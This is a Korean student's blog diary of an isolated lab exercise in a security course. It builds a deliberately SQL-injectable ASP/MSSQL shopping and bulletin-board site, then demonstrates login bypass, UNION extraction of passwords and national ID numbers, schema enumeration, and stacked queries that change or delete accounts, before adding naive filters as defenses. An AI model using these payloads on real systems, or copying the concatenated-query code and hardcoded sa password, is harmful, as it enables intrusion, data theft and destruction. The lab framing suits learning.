공부?/국비 지원 일기장

57일차 - SQL Injection

무무요 2024. 11. 1. 17:43

 

=======

 

SQL Injection 실습

실습 환경

os : window client(XP, 192.168.1.33)

window server(2003, 192.168.1.10)

kali linux(kali, 192.168.1.21)

 

1. 회원가입 사이트 파일 생성 ( 회원가입이 가능하도록 join.asp 라는 파일명으로 파일 생성 )

 

- 웹 서버 홈 디렉터리에 join.asp 생성

<html lang="ko">
<head>
<meta charset="UTF-8">
<Html>
<title>
Welcome to site
</title> 
</head>
<body>
<form id=join method=post action=join_proc.asp>
아이디<input type=text name=id size=20 maxlength=20><br>
비밀번호<input type=text name=pass size=20 maxlength=20><br>
비밀번호(확인)<input type=text name=repass size=20 maxlength=20><br>
이름<input type=text name=name size=20 maxlength=20><br>
주민번호1<input type=text name=jumin1 size=6 maxlength=7>-<input type=text name=jumin2 size=7 maxlength=7><br>
주소(기본)<input type=text name=addr1 size=50 maxlength=50><br>
주소(상세)<input type=text name=addr2 size=50 maxlength=50><br>
메일주소<input type=text name=email size=30 maxlength=50><br>
전화번호(-표시없이입력)<input type=text name=phone size=11 maxlength=11><br>
확인질문(좋아하는색?)-비밀번호찾기에사용됩니다.
<input type=text name=question size=30 maxlength=30><br>
자기소개(200자이내로입력)
<input type=textarea name=intro_self size=200 maxlength=200><br>
<input type=submit value="가입">
<input type=reset value="취소">
</form>
</body>
</html>

 

(이대로 하면 한글이 깨져서 상단에 <html lang="ko"> <head> <meta charset="UTF-8"></head> 를 추가해주었다.)

- Client 시스템에서 http://FQDN/join.asp 입력시 회원으로 가입할 수 있는 화면 출력 확인

 

- 메인화면에서도 회원가입을 할 수 있도록 기존의 index.html 파일 편집

<html>
<title>
Welcome to site
</title>
<body oncontextmenu="return false" onselectstart="return false" ondragstart="return false">
<a href="login.html">로그인></a>
<a href="join.asp">회원가입</a>   << 삽입
<br><br><br><br><br><br><br>
<center>moo Shop
</body></html>

 

- Client 시스템에서 http://FQDN/index.html 입력 시 회원가입 링크 확인 - > 회원가입 클릭 시 회원가입 화면 출력 확인

된다.

 

2. 회원 정보에 대한 정보를 저장할 Database/Table 구성 ( MSSQL 서버에 회원 정보를 저장할 Database 및 Table 생성 )

 

- Database 생성

USE master
CREATE DATABASE mooshopDB

 

- Table 생성

USE mooshopDB
CREATE TABLE joinTB(
id char(20) NOT NULL,
pass char(20) NOT NULL,
name nchar(20) NOT NULL,
jumin1 char(6) NOT NULL,
jumin2 char(7) NOT NULL,
addr1 nchar(50) NOTNULL,
addr2 nchar(50) NOTNULL,
email char(30) NOT NULL,
phone char(30) NOT NULL,
question nchar(30),
intro_self nchar(200)
)

 

- MSSQL 쿼리 창에서 

SELECT * FROM joinTB  입력 실행 시 결과 창에 내용이 잘 출력되는지 확인

정상적으로 생성된걸 볼 수 있다.

 

3. 회원가입 처리를 위한 join_proc.asp 파일 작성 ( Client 시스템에서 회원정보 입력 후 전송된 내용을 받아 처리하는 join_proc.asp 파일 작성 )

 

- 웹서버에 join_proc.asp 작성

 

<%
Response.CharSet = "UTF-8"
Response.ContentType = "text/html; charset=UTF-8"

id=request.form("id")
pass=request.form("pass")
name=request.form("name")
jumin1=request.form("jumin1")
jumin2=request.form("jumin2")
addr1=request.form("addr1")
addr2=request.form("addr2")
email=request.form("email")
phone=request.form("phone")
question=request.form("question")
intro_self=request.form("intro_self")
set objConn=Server.CreateObject("ADODB.Connection")
objConn.open "Provider=SQLOLEDB; DATA Source=(local); INITIAL CATALOG=mooshopDB; USER ID=sa; PASSWORD=Qwer!234"

strSQL="Insert into joinTB values('"&id&"','"&pass&"','"&name&"','"&jumin1&"','"&jumin2&"','"&addr1&"','"&addr2&"','"&email&"','"&phone&"','"&question&"','"&intro_self&"')"
objConn.execute strSQL

response.Write "회원 가입이 정상적으로 처리되었습니다."

objConn.Close
set objConn=Nothing

%>
 
# DATA source=   부분에서 local 이면 괄호를 쳐야하고 local이 아니면 괄호를 치면 안된다.
# 한글이 깨져서 나와서 상단에 밑에 코드를 추가해주었다.
#Response.CharSet = "UTF-8"
#Response.ContentType = "text/html; charset=UTF-8"

( 처리되었다는 한글이 깨져서 Response.CharSet = "UTF-8" / Response.ContentType = "text/html; charset=UTF-8" 를 추가 해주었다. )

 

- DB서버, sa 계정 활성화

SSMS -> 개체 탐색기 -> 보안 -> 로그인 -> sa 우클릭 -> 속성

일반 : 암호설정 - Qwer!234

상태 : 로그인 항목 - 사용

확인

 

상단 파일 탭 -> 개체 탐색기 연결 끊기 -> 개체 탐색기 연결

인증 : SQL Server 인증

로그인 : sa

암호 : Qwer!234

연결 -> 개체 탐색기에 DB 관련 내용 출력 확인

 

- Client 시스템에서 

http://FQDN/index.html 입력 -> 회원가입 클릭 -> 회원 정보 입력 후 가입 -> 회원가입이 정상적으로 처리되었습니다. 메세지 확인

( 소스보기를 해도 다른 소스가 뜨지 않는다. )

 

 

 

4. 가입한 회원이 로그인 할 수 있도록 로그인 인증 절차를 수행하는 login_proc.asp 파일과 login_success.asp 파일 작성 후 로그인 성공 메세지 확인 ( Client 시스템에서 아이디/패스워드를 입력한 후 로그인 절차를 거칠 수 있도록 하는 로그인 검증 페이지 작성 )

 

- 웹 서버의 login_proc.asp 파일 편집 - Database 연결 과정 추가

<%
id=request.form("id")
pw=request.form("pass")

set objConn=Server.CreateObject("ADODB.Connection")
objConn.open "Provider=SQLOLEDB; DATA Source=(local); INITIAL CATALOG=mooshopDB; USER ID=sa; PASSWORD=Qwer!234"

Set objRs = Server.CreateObject("ADODB.Recordset")
strSQL="SELECT id, pass, name FROM joinTB where id='"&id&"' AND pass='"&pw&"'"
objRs.Open strSQL, objConn

if Not objRs.EOF then
	session("id")=objRS("id")

	randomize()
	num=int((10)*Rnd()+1)
	response.cookies("Hackme")=num
	session("num1")=Cstr(num)

	response.redirect "/login_success.asp"
else
	response.write "다시 확인 후 로그인 하세요."
end if
%>

 

- 정상적인 아이디와 패스워드를 입력한 회원에 대해 로그인 성공 메세지를 출력하도록 login_success.asp 파일 편집

 

<%
MyCookie=request.cookies("HackMe")

num=session("num1")

if num<> MyCookie then
	response.redirect "/cook_diff.html"
end if
 
if MyCookie=""then
	response.redirect "/cook_no.html"
end if
 
randomize()
num=int((1000)*Rnd()+1)
response.cookies("HackMe")=num
session("num")=Cstr(num)

username=session("id")
response.write "<b>"&username&"</b>님 로그인성공"
%>

 

- Client 시스템에서 http://FQDN/login.html 입력 후 가입한 아이디와 비밀번호 입력 -> 로그인 버튼 클릭 -> 로그인 성공 메세지 출력

- 아까 가입한 ID : moo / Password : 1234로 로그인

로그인 성공

 

5. SQL Injection 공격 ( Client 시스템에서 아이디/패스워드 입력 항목에 정상적이지 않은 값 입력 시 정상 로그인되는지 확인 )

 

- 공격 전 login_proc.asp 파일 내용 strSQL 부분에 대한 구문 분석

strSQL="SELECT id, pass, name FROM joinTB 
        where id='"&id&"' AND pass='"&pw&"'"

클라이언트 시스템에서 form에 test/1234(가입된 아이디/패스워드)를 입력한다면 웹 서버는 login_proc.asp 파일을 참조해 다음과 같이 처리한다. 

" select id, pass, name FROM joinTB where id='"test" and pass '"1234"'"

이 내용중 " 부분을 뺀다면 DB 서버가 인식할 수 있는 일반 SQL 문이 된다.

-> " 항목은 실제 처리시 바뀌지 않는 부분이고, ' 항목은 SQL에서 문자열을 입력 시에 사용되는 부분이며, & 항목은 내용을 이어서 처리하라는 부분이다.

 

- 따라서 '과 ' 사이에 아래와 같이 참이 되는 값을 입력하게 되면 엡 서버에서는 처리된다.

아이디 입력 폼에 ' or 1=1 -- 입력, 패스워드 항목에는 아무 값이나 입력 후 로그인이 잘 되는지 확인한다.

 

 

- 입력 내용 분석

id 항목에 ' or 1=1-- 를 넣었다면 

"select id, pass, name FROM joinTB where id=' ' or 1=1--'and' pass='임의값'   형태가 된다.

id= ' ' 부분이 null 값이 되므로 or 1=1 값을 같이 입력(DB서버에 not null로 설정되어 있기 때문)

1=1-- : -- 를 입력하는 이유는 바로 뒤에 오는 ' 항목은 공격자가 건드릴 수 없는 값이기 때문에 주석 처리 한다.

 

asp.dll이 DB로 정보를 넣을땐 " 를 없애고 넣는다.
ex) '"test"' 를 asp.dll이 DB로 넣을땐 'test' 를 넣는다
"" 는 문자열임을 알려주기 위해, 문자열인것을 인식시키기 위해 붙이는것 
그래서 "" 를 떼고 SQL에서 쓰기위해 'test'  처럼 ' ' 만 남기고 보내는것

'"&id&"'
->
'"" 'or 1=1-- "'
->
' 'or 1=1--'
빈부분은 null 값, or 1=1 은 참 null 값안에 참을 넣는것

or 앞에 ' 가 없다면 그앞에 ' 를 닫는 ' 가 없기 때문에 SQL에서 문법이 맞지 않다고 판단하기 때문에 작동을 안한다. 

 

 

6. SQL Injection 공격 ( 아이디는 알고 있고 패스워드는 모르는 상태에서의 공격과 아이디/패스워드 두 항목 모두 모를 때에 대한 공격 )

 

- 공격자는 웹 서버에 test라는 계정이 존재하는 것을 알고 있는 상태에서 공격 시도

- 아이디 폼에 test'-- 입력 후 패스워드 폼에는 임의의 값 입력

 

 

패스워드를 임의의 값으로 넣었지만 로그인 성공

 

- 공격자가 아이디와 패스워드 두개의 값을 모두 모르는 상태에서 공격 시도

- 다음과 같은 형태로 시도

id=' ' or id like 'te% '--and pass= ' '

- like를 비슷하다는 의미로 해석해보면 like 'te%' 부분을 아이디가 te로 시작하는 비슷한 아이디 정도로 해석하면 됨

따라서 아이디 폼에 ' or id like 'te%' -- 값을 입력하고 패스웓 ㅡ부분에 임의의 값을 입력하고 로그인을 시도하면 성공됨을 알 수 있음

 

' or id like 'te%'-- 을 아이디에 입력, 비밀번호는 임의의 값(아무거나 썼다)

 

성공

 

7. 게시판 관련 파일 생성 및 데이터베이스 구성 ( 게시판 관련 파일 생성 및 데이터베이스(테이블명:boardTB) 구성 )

 

위에서 만든 mooshopDB로 지정 후 SSMS 에서 테이블 생성

CREATE TABLE boardTB(
board_no int identity,
subject nchar(50) not null,
name nchar(10) not null,
contents nvarchar(40) not null,
reg_date smalldatetime not null
)

 

- 메인페이지에서 게시판으로 들어올 수 있도록 웹 서버에 하이퍼 링크 설정

index.html 파일 내용 추가

<a href="board_main.asp">게시판</a>

 

board_main.asp 파일 생성

데이터 베이스 연결부분과 response.write 부분은 한 줄로 작성

<html lang="ko">
<head>
<meta charset="UTF-8">
<html>
<title>
Welcome to Board Main!
</title>
</head>
<body>
<center>
게시판
</center>
<%
set objConn=Server.CreateObject("ADODB.Connection")
objConn.open "Provider=SQLOLEDB; DATA SOURCE=(local); INITIAL CATALOG=mooshopDB; USER ID=sa; PASSWORD=Qwer!234"
set objRs=Server.CreateObject("ADODB.Recordset")
strSQL="Select TOP 5 board_no,subject,name,reg_date From boardTB"
objRs.Open strSQL, objConn

Set board_no=objRs("board_no")
Set subject=objRs("subject")
Set name=objRs("name")
Set reg_date=objRs("reg_date")

response.write "번호 제목 이름 등록일<br><br>"
Do Until objRs.EOF
response.write "<a href='/board_view.asp?board_no="& board_no & "'> "& board_no &"&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp"
response.write subject & "&nbsp&nbsp&nbsp&nbsp " & name & "&nbsp&nbsp&nbsp "& reg_date & "<br><br>"
objRs.MoveNext
Loop

objRs.close
set objRs=nothing
objconn.close
set objConn=nothing
%>

<br><br><br><br><br><br><a href="/board_write.asp" >글쓰기</a>
</body>
</html>

 

 

 

board_write.asp 파일 생성

http://FQDN/board_main.asp 입력후 글쓰기 항목을 클릭하면 게시판 글 입력을 할 수 있는 폼이 출력되는지 확인

<html lang="ko">
<head>
<meta charset="UTF-8">
<html>
<title>
Welcome to Board!
</title>
</head>
<body>
<h1> 글 입력 후 입력 버튼을 눌러 주세요</h1>
<form action=board_write_proc.asp method=POST name=gesipan1>
<center>
제목 <input type=text name=subject size=20><br>
작성자 <input type=text name=name><br>
내용 <textarea cols=70 rows=10 name=contents></textarea>
<input type=submit value="입력">
</center>
</body>
</html>

 

 

board_write_proc.asp 파일 생성

게시판을 이용해 글을 작성하게 되면 최종적으로 데이터베이스에 반영이 되는지 확인

<%
subject=request.form("subject")
name=request.form("name")
contents=request.form("contents")

set objConn=Server.CreateObject("ADODB.Connection")
objConn.open "Provider=SQLOLEDB; DATA SOURCE=(local); INITIAL CATALOG=mooshopDB; USER ID=sa; PASSWORD=Qwer!234"
strSQL="Insert into boardTB values('"&subject&"','"&name&"','"&contents&"','"&date()&"')"
objConn.execute strSQL

Response.redirect "/board_main.asp"

objConn.Close
Set objConn=Nothing
%>

 

 

board_view.asp 파일 생성

클라이언트 시스템들이 게시물을 클릭하면 게시된 내용이 출력되게 하는 파일 작성

-> 게시된 글 클릭 시 화면에 내용이 출력되는지 확인하고 MSSQL 서버에 입력된 게시글이 테이블에 저장 되었는지 확인

 

<html lang="ko">
<head>
<meta charset="UTF-8">
<html>
<title>
Welcome to Board View!
</title>
</head>
<body>
<center>
게시판
</center>
<%
board_no_link=request.Querystring("board_no")

set objConn=Server.CreateObject("ADODB.Connection")
objConn.open "Provider=SQLOLEDB; DATA SOURCE=(local); INITIAL CATALOG=mooshopDB; USER ID=sa; PASSWORD=Qwer!234"
set objRs=Server.CreateObject("ADODB.Recordset")
strSQL="Select board_no,subject,name,contents,reg_date From boardTB Where board_no=" & board_no_link &" "
objRs.Open strSQL, objConn

Set board_no=objRs("board_no")
Set subject=objRs("subject")
Set name=objRs("name")
Set contents=objRs("contents")
Set reg_date=objRs("reg_date")

response.write "글번호" &board_no &" <br><br>"
response.write "글제목" &subject &" <br><br>"
response.write "작성자" &name &" <br><br>"
response.write "극내용" &contents &" <br><br>"
response.write "등록일" &reg_date &" <br><br>"

objRs.close
set objRs=nothing
objconn.close
set objConn=nothing
%>
</body>
</html>

 

테이블에 저장된 모습이다.

 

8. 게시판의 폼 필드를 이용한 SQL Injection 공격 ( 게시판의 폼 필드를 이용해 불법 계정 생성 )

 

- 먼저 SQL Injection 공격이 잘 되는지 확인을 위해 Client 에서 Proxy 설정 후 subject 부분에 다음의 값들을 입력하면서 에러 메세지 확인

http://FQDN/board_write.asp 입력 후 제목 부분에 

a', 'a', 'a')--    값 입력 후 입력 버튼 클릭 -> burp suite 확인

-> 열의 개수나 열 이름이 일치하지 않다는 것을 확인할 수 있음

 

- 위의 결과로 보아 열의 개수를 맞추어 제목 부분에 다른 값을 입력해 본다.

a','a','a','a')--   값 입력 -> burp suite 확인 -> 에러메세지를 통해 데이터 형식이 일치하지 않음을 알 수 있음

 

 

2개의 결과를 조합해서 다음의 값을 제목 부분에 입력해 본다.

a','a','a','20100101')--   값 입력 -> 게시판 상에서 정상적인 처리가 되는 것을 확인할 수 있음

 

 

- 기존 계정에 대한 패스워드를 변경해 보는 내용 진행

하단의 내용을 제목란에 입력하게 되면 기존 계정(test)의 패스워드 값인 1234라는 값이 1111로 변경됨을 확인할 수 있음

b','b','b','20100101'); update joinTB set pass = '1111' where id = 'test'--

-> 공격 진행 후 DB 서버의 쿼리창으로 이동해 테이블의 내용을 확인해보면 test 계정 패스워드가 1111로 변경 확인

 

 

test의 비밀번호가 1234에서 1111로 바뀐걸 볼 수 있다.

 

- 웹 서버의 board_main.asp 파일 내용 중 "SELECT Top 5 board... 항목이 존재하며 그 중 Top 5 구문은 게시물의 5개 까지만 클라이언트에게 보여주게끔 하는 설정이다

- kali 시스템에서 proxy 구동 후 특정 게시물 클릭 후 요청 메세지 중 제일 상단의 board_no= 의 값을 다른 값으로 바꾸어 보내면 기본적으로 보이지 않는 게시물에 대한 내용도 확인 가능

 

board_no=2를 눌러 no=2가 됐지만 burp suite로 board_no=6 으로 변경하면

URL에는 no=2 로 찍히지만 no=6번 글이 켜진다. 

 

9. SQL Injection 공격 ( DBMS에 저장된 승인되지 않은 정보 출력 )

 

- 공격 실습 전 DB 서버 쿼리 창에서 다음과 같이 입력한 후 실행

-> 하단의 결과 창을 확인해 보면 2개의 창으로 나뉘어져 각각의 결과값을 출력

SELECT board_no, subject, name, contents, reg_date
from boardTB
where board_no=1

select * from joinTB

위에 boardTB, 아래 joinTB가 따로 따로 나온다.

 

- 2개의 창으로 출력되는 내용을 하나의 창으로 출력하려면 UNION 키워드를 사용 UNION을 사용하려면 2개의 테이블에 

- 출력 칼럼 수가 같아야 함

- 출력 칼럼의 데이터형식이 같아야 함

- 공격 원리를 이해하기 위해 일단 쿼리창에서 다음과 같이 입력

SELECT * FROM boardTB
UNION SELECT * FROM joinTB

 

-> 2개의 테이블에 존재하는 출력 컬럼의 개수가 맞지 않는다는 메세지가 출력

- 컬럼의 개수가 맞지 않으므로 컬럼의 개수를 맞추기 위해 5개의 컬럼이름을 지정 한 후 쿼리 시도

SELECT board_no, subject, name, contents, reg_date
FROM boardTB
WHERE board_no=4
UNION SELECT id,pass,name,jumin1,jumin2
FROM joinTB

-> 이번엔 열의 개수에 관한 메세지가 아니고 데이터 형식을 변환하지 못했다는 메세지가 출력됨

- 형식이 맞지 않으므로 형식을 맞추기 위해 임의의 값 추가 후 다시 쿼리 실행

 

SELECT board_no, subject, name, contents, reg_date
FROM boardTB
WHERE board_no=4
UNION SELECT 1, id, pass, jumin1, jumin2
FROM joinTB

-> 열의 개수와 형식을 맞추기 위해 임의의 값 1을 추가하고 name 을 배제한 후 쿼리를 실행하면 문자열을 smalldatetime 데이터 형식으로 변환하지 못했다는 메세지가 출력됨

- smalldatetime에 대한 데이터 형식이 맞지 않으므로 다음과 같이 입력 후 쿼리 실행

 

SELECT board_no, subject, name, contents, reg_date
FROM boardTB
WHERE board_no=4
UNION SELECT 1,id,pass,jumin1,'1999-01-01'
FROM joinTB

 

-> 위와 같이 컬럼의 개수와 데이터 형식을 맞추어 입력하게 되면 정보가 출력

 

- Kali 시스템에서 공격하기 위해서

proxy 구동 -> http://FQDN/board_main.asp 입력 -> 임의의 글 클릭

proxy 항목 중 가단 상단에 있는 GET /board_view.asp?board_no=1 HTTP/1.0  확인 후 다음 내용 추가 -> forward

 

board_no=20+union+select+1, id,pass,jumin1,'1999-01-01'+from+joinTB+where+id+like+'t%25' HTTP/1.0

 

위 내용과 같이 변조해서 내용을 보내면 화면에 계정명과 패스워드 등의 정보를 알 수 있음

( t%25의 URL 인코딩 값에서 %25는 퍼센트 기호 %를 의미합니다. 따라서 t%25는 URL에서 실제로 t%로 해석된다.)

( t%25: t는 그대로 t로남고 %25는 %로 변환됩니다. 결과적으로 t%25는 t% 로 해석됩니다. URL 인코딩에서 %는 다음 문자(또는 두 자리의 16진수 값)을 나타내기 위해 사용되므로 %25는 %의 16진수 표현입니다.)

 

정보를 확인할 수 있다.

 

10. 게시판 검색을 제공하기 위한 board_search.asp 파일 생성 및 기존 파일 편집

 

- board_main.asp 파일 편집 -> 게시판 검색 폼 필드 제공

하단 내용중 %> ~ <br><br><br><br><br> 부분 사이에 form 관련 내용 삽입

<form method=GET action='board_search.asp' >
검색어(글제목) <input type=text size=15 maxlength=15 name=searchword >
<input type=submit value='검색'>
</form>

 

- login_success.asp 파일 편집

-> 정상 로그인 후 게시판 항목으로 이동할 수 있는 링크 제공

파일 가장 하단 부분에 다음 내용 추가 후 저장

<br><br><ahref=/board_main.asp>게시판</a>

 

- board_search.asp 파일 생성

-> 게시판의 내용을 검색할 수 있도록 처리하는 파일

 

<html lang="ko">
<head>
<meta charset="UTF-8">
<html><title>Welcome to Board Search!</title></head>
<body><center>게시판</center>
<%
searchword=request.querystring("searchword")
 
set objConn=Server.CreateObject("ADODB.Connection")
objConn.open "Provider=SQLOLEDB; DATA SOURCE=(local); INITIAL CATALOG=mooshopDB; USER ID=sa; PASSWORD=Qwer!234"
set objRs=Server.CreateObject("ADODB.Recordset")
strSQL="Select board_no,subject,name,reg_date From boardTB Where subject Like '%" & searchword & "%'"
objRs.Open strSQL, objConn
 
Set board_no=objRs("board_no")
Set subject=objRs("subject")
Set name=objRs("name")
Set reg_date=objRs("reg_date")
 
response.write " 번호 제목 이름 등록일 <br><br>"
Do Until objRs.EOF
response.write "<a href='/board_view.asp?board_no="& board_no & "'> "& board_no & "&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp"
response.write subject &"&nbsp&nbsp&nbsp&nbsp " & name & "&nbsp&nbsp&nbsp "&reg_date & "<br><br></a>"
objRs.MoveNext
Loop
 
objRs.close
set objRs=nothing
objconn.close
set objConn=nothing
%>
 
<form method=GET action='board_search.asp' >
검색어<input type=text size=15 maxlength=150 name=searchword >
<input type=submit value='검색'>
</form>
<br><br><br><br><br><br><a href="/board_write.asp" > 글쓰기 </a>
</body>
</html>

 

게시판 항목으로 이동 후 검색 기능이 제대로 수행되는지 확인

잘 검색 된다.

 

11. SQL Injection 공격( Database, Table, Column 명을 알아내고자 할때 하는 공격 시나리오 )

1. 대입 공격

2 관리용 Database를 이용한 공격

 

- 관리용 database를 이용한 공격 : table 이름 출력

Attack 시스템에서 게시판 검색 창에 다음과 같이 입력

a' union select 1,name,object_id,'1999-01-01', from sys.tables--

- DB 서버에 존재하는 table 이름과 해당 table들의 object_id를 확인할 수 있음

 

- 관리용 Database를 이용한 공격 : 열 이름과 데이터 형식 출력

Attack 시스템에서 게시판 검색 창에 다음과 같이 입력

a' union select 1,name,system_type_id,'1999-01-01' from sys.colums where object_id=2073058421--

- joinTB의 Object_id의 값을 입력하게 되면 위 그림과 같이 joinTB의 열이름 항목들과 각 열의 데이터 형식을 확인할 수 있으며 같은 방식으로 Object_id의 값을 바꾸어 입력하면 boardTB 테이블의 열 이름 및 데이터 형식 확인이 가능함

cf) 175 : char,  239 : nchar 를 의미

 

12. SQL Injection 공격 ( 게시판의 검색 창을 이용한 기준 DB서버의 계정 정보를 수정하거나 삭제하는 공격 )

 

- 기존 DB 서버에 존재하는 계정에 대한 패스워드 변경 실습 (기존 DB 서버에는 test01 계정이 존재하며 패스워드는 1111로 설정되어 있음) Attcak 시스템에서 게시판 검색창에 다음과 같이 입력

a';update joinTB setpass='aaaa' where id='test01'--

 

- 공격 완료 후 DB 서버에 접근해 확인 해보면 기존 test01 계정 패스워드가 aaaa로 변경된것을 확인해볼 수 있음

 

- 기존 DB 서버에 존재하는 계정을 삭제하는 실습

- (기존 DB 서버에는 test01 계정이 존재하며 패스워드는 2222로 설정 되어 있음) Attack 시스템에서 게시판 검색창에 다음과 같이 입력

a';delete from joinTB where id='test01'--

- 공격 완료 후 DB 서버에 접근해 확인 해보면 기존 test01 계정이 삭제 되었음을 확인할 수 있음

 

SQL Injection 방어

 

- 방어 방법

코드 레벨 검사

- 소스 차원에서 검사하는 내용이 코딩되어 있어야 함

주로 request.querystring, request.form 항목에서 검사 진행

웹 방화벽 구동

 

1. 인증 우회 방어 ( login_proc.asp 파일의 내용 중 replace 함수를 이용하는 부분을 추가해 인증 우회를 방어 

 

- login_proc.asp 파일에 아래 내용중 replace 항목에 관한 내용 추가

id=replace(id,"or","")   # "or" 를 뒤에 "" (아무것도없는값)으로 바꿔라 = 없애버려라
pw=replace(pw,"or","")

' or 1=1 -- 로 하면 구문 오류가 뜬다. 하지만 대문자 OR로 하면

로그인이 된다.

 

- 기존 공격 내용 ' or 1=1-- 형태로 공격하면 방어가 되지만 or 대신 대문자 OR를 입력해 공격하면 공격이 성공됨

 

- 다음 내용을 추가해 입력되는 모든 항목의 내용을 소문자로 변경 후 처리하도록 구성

 

 

 

방금 추가한 replace 위에 하나씩 올린다.

- 이렇게 하면 대문자로 해도 막힌다.

 

- 위에 방법도 효율적이긴 하나 ' 을 막는 것이 가장 효율적임

다음 내용 추가

id=replace(id,''',"")
pw=replace(pw,''',"")

 

 

되지 않는다!

 

 

'공부? > 국비 지원 일기장' 카테고리의 다른 글

59일차 - 여러기법과 바이러스  (1) 2024.11.05
58일차 - 정보 보안  (0) 2024.11.04
56일차 - Cookie  (0) 2024.11.01
55일차 - 스푸핑  (1) 2024.10.30
54일차 - 웹 해킹 2  (0) 2024.10.29